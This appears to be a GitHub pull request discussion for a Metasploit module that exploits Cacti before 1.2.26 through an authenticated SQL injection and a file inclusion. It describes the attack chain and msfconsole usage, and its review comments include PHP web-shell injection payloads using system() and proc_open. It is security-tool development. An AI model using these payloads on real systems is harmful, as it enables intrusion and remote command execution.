Cacti RCE via SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) #18769

cdelafuente-r7 · 2024-01-30T11:56:18Z

Vulnerable Application

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (pollers.php). This is granted by setting the Sites/Devices/Data permission in the General Administration section.

The module implements a check method that makes sure pollers.php is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the fix added in version 1.2.25.

The exploit will do the following:

Login with the provided credentials
Perform a serie of SQL injections to:
- backup the current log file path and add a new path to the settings table
- insert the new log file path to the External Links table (external_links)
- add permission to access this external link to the current user (user_auth_realm)
- Poison the log file to add the payload stager
Trigger the payload by accessing the external link page (link.php)
Cleanup the SQL tables that were modified to their original states
Remove the new log file that contains the stager

Installation

See module documentation for step-by-step installation instructions on Linux (via Docker) and on Windows.

Setup a new user

Login with the admin user (password: admin)
Go to Configuration > Users
Click on the + sign
Enter the User Name, Password and check the Enabled option.
Click Create
Go to the Permissions tab and set the Sites/Devices/Data permission in General Administration
Click Save

Verification Steps

Install the application
Start msfconsole
Do: use exploit/multi/http/cacti_pollers_sqli_rce
Do: set target <target>
Do: set payload <payload>
Do: run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
You should get a shell.

Could those values be randomized?

I think only name could be randomized, since the other values are needed to trigger the SQLi. However, Main Poller is the default value provided by the application itself. Changing it to something different might be to suspicious for any administrator looking at the list of Collectors.

+    html = res.get_html_document
+    # This will return an empty string if there is no match

+    unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)
+      return CheckCode::Unknown('Could not detect the version')
+    end


This code is duplicate with do_login, you might want to factorise it into a get_version(html) function

I don't think do_login can be reused for this as it is right now. The only duplicate code are the regex matching parts. do_login does not check if the target is really Cacti and tries to login anyway. Also, because it's in the check method, we want to return a CheckCode that describe the root cause of a failure.

I can still add some logic to do_login to make it compatible with the check method requirements. However, I think it would complicate the code and probably increase its size. If you think it is worth it, I'm fine with changing this, no problem.

I did mean the regex-matching part :)
So that it'd be easy to extract it to a mixin once another cacti vuln drops :P

I addressed this in 5054b3b

cacti uses proc_open instead of system (meaning that the later could be disabled, while the former can't), so depending whether size of portability is prioritized, something like this could be used instead:

Suggested change

sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")

phpshell = "$h=proc_open($_SERVER['HTTP_#{header_name}'],array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$p); $ret='';while(!feof($p[1])){$ret.=fread($p[1],1024);}@proc_close($h);echo $ret;'

sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'<?#{phpshell};?>',CHAR(126)),null)")

That's a very good point. Unfortunately, the payload is truncated after 32 characters before being written to the log file. So, we are very limited in size and this payload was the smallest I found.

Another super nit pick but because this method returns a boolean value I think it might be better named something like login_successful? (not a blocker).

That's actually a very good point. I decided to change this and use exceptions instead of returning a boolean. So the method name stay the same and error handling is cleaner.

Thank you for the review!

		## Vulnerable Application

		This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.

	(CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to

		### Cacti on Windows
		Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
